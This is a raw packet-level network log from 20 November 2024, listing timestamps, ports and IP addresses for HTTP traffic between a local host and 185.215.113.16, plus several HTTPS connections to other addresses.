Nov 20, 2024 06:40:21.784477949 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784482956 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784516096 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784543037 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784548998 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784581900 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784607887 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784612894 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784650087 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784677029 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784681082 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784730911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784754992 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784764051 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784797907 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784828901 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784859896 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784862995 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784895897 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784921885 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784929037 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784961939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.784990072 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.784996033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785031080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785062075 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785063982 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785090923 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785096884 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785130978 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785164118 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785192013 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785198927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785235882 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785260916 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785269022 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785300970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785329103 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785337925 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785371065 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785398006 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785403967 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785435915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785463095 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785468102 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785501003 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785526991 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785533905 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785566092 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785593033 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785600901 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785634041 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785660028 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785666943 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785700083 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785716057 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785732985 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.785747051 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.785769939 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:21.786638021 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:21.957860947 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:21.957860947 CET	49719	443	192.168.2.5	4.175.87.197
Nov 20, 2024 06:40:21.957901001 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.957916975 CET	443	49719	4.175.87.197	192.168.2.5
Nov 20, 2024 06:40:21.970799923 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.971052885 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.971335888 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.971348047 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.971774101 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.971805096 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.973042965 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.973045111 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.973048925 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.973052979 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.976941109 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.977320910 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.977346897 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.977768898 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.977781057 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.978164911 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.978651047 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.978658915 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.979049921 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.979053974 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.980757952 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.981271029 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.981347084 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:21.981439114 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:21.981452942 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.007354021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.007520914 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.070671082 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.070760012 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.071374893 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.074415922 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.074485064 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.075423956 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.078068972 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.078138113 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.078640938 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.079474926 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.079710960 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.081510067 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.081599951 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.081629038 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.084983110 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.085604906 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.085609913 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.085618973 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.085628986 CET	49729	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.085635900 CET	443	49729	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.085637093 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.085653067 CET	49730	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.085659981 CET	443	49730	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.085688114 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.085688114 CET	49731	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.085694075 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.085702896 CET	443	49731	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.087055922 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.087055922 CET	49733	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.087106943 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.087136984 CET	443	49733	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.087519884 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.087554932 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.087708950 CET	49732	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.087718010 CET	443	49732	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.090861082 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.090871096 CET	49735	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.090894938 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.090962887 CET	443	49735	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.091000080 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.092216969 CET	49735	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.092228889 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.092314959 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.092382908 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.092720985 CET	49736	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.092726946 CET	49735	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.092736959 CET	443	49736	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.092767954 CET	443	49735	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.093288898 CET	49737	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.093324900 CET	443	49737	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.095326900 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.095340014 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.095494032 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.095518112 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.095552921 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.095635891 CET	49738	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.095642090 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.095648050 CET	443	49738	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.095839024 CET	49739	443	192.168.2.5	13.107.246.45
Nov 20, 2024 06:40:22.095861912 CET	443	49739	13.107.246.45	192.168.2.5
Nov 20, 2024 06:40:22.105130911 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.110172033 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110249996 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110290051 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110344887 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110379934 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.110399008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110434055 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110466003 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.110467911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110502005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110529900 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.110554934 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110606909 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110637903 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.110642910 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110677958 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110707998 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.110711098 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110764027 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110791922 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.110816002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110852003 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110883951 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.110884905 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110918045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110948086 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.110954046 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.110987902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111021042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111023903 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111053944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111083984 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111105919 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111156940 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111191034 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111196041 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111248970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111272097 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111283064 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111320019 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111334085 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111376047 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111407995 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111443043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111474991 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111474991 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111509085 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111538887 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111542940 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111594915 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111625910 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111629009 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111661911 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111691952 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111695051 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111747026 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111778021 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111778975 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111814022 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111844063 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111845016 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111877918 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111907959 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.111927986 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.111985922 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112016916 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112018108 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112051964 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112083912 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112083912 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112118006 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112148046 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112150908 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112189054 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112221003 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112221003 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112256050 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112286091 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112292051 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112327099 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112359047 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112392902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112427950 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112430096 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112462044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112514973 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112546921 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112576962 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112581015 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112615108 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112673044 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112723112 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112756014 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112759113 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112792015 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112824917 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112874031 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112905025 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112906933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112941027 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.112972975 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.112993002 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113025904 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113056898 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113058090 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113095045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113122940 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113126993 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113161087 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113193035 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113226891 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113254070 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113259077 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113292933 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113327026 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113359928 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113390923 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113393068 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113437891 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113487005 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113518000 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113519907 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113553047 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113583088 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113585949 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113620043 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113651037 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113653898 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113688946 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113722086 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113725901 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113758087 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113790035 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113791943 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113825083 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113856077 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113858938 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113890886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113922119 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113924980 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113957882 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.113986969 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.113990068 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114022970 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114053965 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114056110 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114089966 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114120007 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114121914 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114156008 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114185095 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114187956 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114223957 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114254951 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114257097 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114289045 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114320993 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114326000 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114358902 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114389896 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114392042 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114424944 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114454031 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114458084 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114492893 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114521980 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114525080 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114558935 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114589930 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114593029 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114629984 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114660978 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114662886 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114695072 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114727974 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114728928 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114762068 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114794970 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114799023 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114831924 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114836931 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114871979 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114902973 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114903927 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114938021 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.114969015 CET	49713	80	192.168.2.5	185.215.113.16
Nov 20, 2024 06:40:22.114970922 CET	80	49713	185.215.113.16	192.168.2.5
Nov 20, 2024 06:40:22.115004063 CET	80	49713	185.215.113.16	192.168.2.5
